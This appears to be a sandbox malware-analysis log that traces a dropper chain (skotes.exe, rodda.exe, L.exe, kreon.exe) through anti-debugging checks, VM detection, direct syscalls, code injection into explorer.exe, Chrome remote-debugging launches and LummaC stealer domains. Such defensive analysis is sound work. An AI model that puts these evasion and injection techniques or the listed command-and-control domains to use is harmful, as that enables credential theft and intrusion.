Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Memory allocated: 2B1CFD50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Memory allocated: 2B1E97F0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Memory allocated: 1FC1F2C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Memory allocated: 1FC38DA0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_05440CE7 rdtsc

1_2_05440CE7

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 452	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3546	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Window / User API: threadDelayed 6863	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe	Window / User API: threadDelayed 2971	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window / User API: threadDelayed 1201
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window / User API: threadDelayed 1170
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window / User API: threadDelayed 1230

Source: C:\Users\user\AppData\Local\kreon.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ChromiumData.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Dropped PE file which has not been started: C:\Program Files\TaskbarMonitor\TaskbarMonitorWindows11.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\uxN4wDZ[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\kreon.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Dropped PE file which has not been started: C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009923001\uxN4wDZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Dropped PE file which has not been started: C:\Program Files\TaskbarMonitor\Newtonsoft.Json.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4564	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4564	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2396	Thread sleep count: 73 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2396	Thread sleep time: -146073s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4420	Thread sleep count: 82 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4420	Thread sleep time: -164082s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2244	Thread sleep count: 452 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2244	Thread sleep time: -13560000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1280	Thread sleep count: 97 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1280	Thread sleep time: -194097s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2396	Thread sleep count: 2765 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2396	Thread sleep time: -5532765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4420	Thread sleep count: 3546 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4420	Thread sleep time: -7095546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe TID: 5040	Thread sleep count: 6863 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe TID: 5040	Thread sleep time: -137260s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe TID: 5040	Thread sleep count: 2971 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\kreon.exe TID: 5040	Thread sleep time: -59420s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe TID: 1784	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe TID: 8184	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe TID: 7584	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe TID: 1512	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe TID: 8024	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe TID: 5520	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe TID: 5520	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe TID: 1512	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 3324	Thread sleep count: 89 > 30
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 3324	Thread sleep time: -178089s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 2584	Thread sleep count: 80 > 30
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 2584	Thread sleep time: -160080s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 7216	Thread sleep time: -270000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 5404	Thread sleep count: 106 > 30
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 5404	Thread sleep time: -212106s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 5260	Thread sleep count: 162 > 30
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 5260	Thread sleep time: -324162s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 2144	Thread sleep count: 168 > 30
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 2144	Thread sleep time: -336168s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 5680	Thread sleep count: 85 > 30
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 5680	Thread sleep time: -170085s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 5260	Thread sleep count: 1201 > 30
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 5260	Thread sleep time: -2403201s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 2144	Thread sleep count: 1170 > 30
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 2144	Thread sleep time: -2341170s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 5680	Thread sleep count: 1230 > 30
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe TID: 5680	Thread sleep time: -2461230s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe TID: 7388	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com TID: 3096	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com TID: 6736	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4292	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\kreon.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\kreon.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\477151
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\477151\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\

Source: skotes.exe, skotes.exe, 00000003.00000002.13904595500.0000000000D90000.00000040.00000001.01000000.00000007.sdmp, rodda.exe, 0000000C.00000002.14659235490.0000000001198000.00000040.00000001.01000000.0000000B.sdmp, L.exe, L.exe, 0000000E.00000002.14885641544.0000000000D2D000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: L.exe, 0000000E.00000002.14887228575.0000000001218000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14882925730.0000000001218000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWyW
Source: Selection.com, 00000032.00000002.15608488881.00000000014EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWN
Source: 926085a3ba.exe, 00000005.00000002.14168054682.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000002.14168054682.000001B530E1C000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14165152622.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001A38000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000012.00000002.17165250045.0000027A3FE2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW p
Source: svchost.exe, 00000018.00000002.17166825104.000001B75DA02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: Selection.com, 00000032.00000002.15608136346.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8gS
Source: file.exe, 00000001.00000002.13883331820.0000000001080000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.13902521598.0000000000D90000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.13904595500.0000000000D90000.00000040.00000001.01000000.00000007.sdmp, rodda.exe, 0000000C.00000002.14659235490.0000000001198000.00000040.00000001.01000000.0000000B.sdmp, L.exe, 0000000E.00000002.14885641544.0000000000D2D000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com	System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA01330		5_2_00007FF77FA01330
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA01380		5_2_00007FF77FA01380

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_05440CE7 rdtsc

1_2_05440CE7

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtSetInformationFile: Direct from: 0x7FF7A34C7A79
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtCreateFile: Direct from: 0x7FF7A34C787C
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQueryInformationToken: Direct from: 0x7FF7A3553508
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtMapViewOfSection: Direct from: 0x7FF7A353C4BD
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtClose: Direct from: 0x7FF7A353CE61
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtSetInformationFile: Direct from: 0x7FF7A34C7A91
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQueryAttributesFile: Direct from: 0x7FF7A353C1E1
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtReadFile: Direct from: 0x7FF7A34C7D7F
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtProtectVirtualMemory: Direct from: 0x7FF7A34E8FF0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtClose: Direct from: 0x7FF7A353C5C7
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtClose: Direct from: 0x7FF7A34C8693
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtDelayExecution: Direct from: 0x7FF7A34D1C92
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtWriteFile: Direct from: 0x7FF7A353B9D7
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQuerySystemInformation: Direct from: 0x7FF7A353C4AD
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtProtectVirtualMemory: Direct from: 0x7FF7A353C119
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtDelayExecution: Direct from: 0x7FF7A353DFD8
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtProtectVirtualMemory: Direct from: 0x7FF7A34C83B5
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtClose: Direct from: 0x7FF7A353C3CD
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQueryAttributesFile: Direct from: 0x7FF7A353D642
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQueryAttributesFile: Direct from: 0x7FF7A353CE4E
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtOpenFile: Direct from: 0x7FF7A353BF1E
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQuerySystemInformation: Direct from: 0x7FF7A34E4924
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtOpenFile: Direct from: 0x7FF7A353C37B
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQuerySystemInformation: Direct from: 0x7FFBCAF42651
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtClose: Direct from: 0x7FF7A353C200
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtProtectVirtualMemory: Direct from: 0x7FF7A34FB26C

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com base: 1DC85A10000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Memory written: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: PID: 7776 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: PID: 7776 base: 140001000 value: NU
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: PID: 7776 base: 1406F5000 value: DF
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: PID: 7776 base: 1408F6000 value: 00
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: PID: 7776 base: A2F010 value: 00

LummaC encrypted strings found

Source: rodda.exe, 0000000C.00000003.14205227012.0000000005890000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: rodda.exe, 0000000C.00000003.14205227012.0000000005890000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: rodda.exe, 0000000C.00000003.14205227012.0000000005890000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: rodda.exe, 0000000C.00000003.14205227012.0000000005890000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: rodda.exe, 0000000C.00000003.14205227012.0000000005890000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbst
Source: rodda.exe, 0000000C.00000003.14205227012.0000000005890000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Thread register set: target process: 7680
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Thread register set: target process: 7776

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe "C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe "C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007944001\L.exe "C:\Users\user\AppData\Local\Temp\1007944001\L.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe "C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe "C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1596 -s 1732	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe "C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\kreon.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\kreon.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\kreon.exe C:\Users\user\AppData\Local\kreon.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 468 -p 1596 -ip 1596
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1596 -s 1732
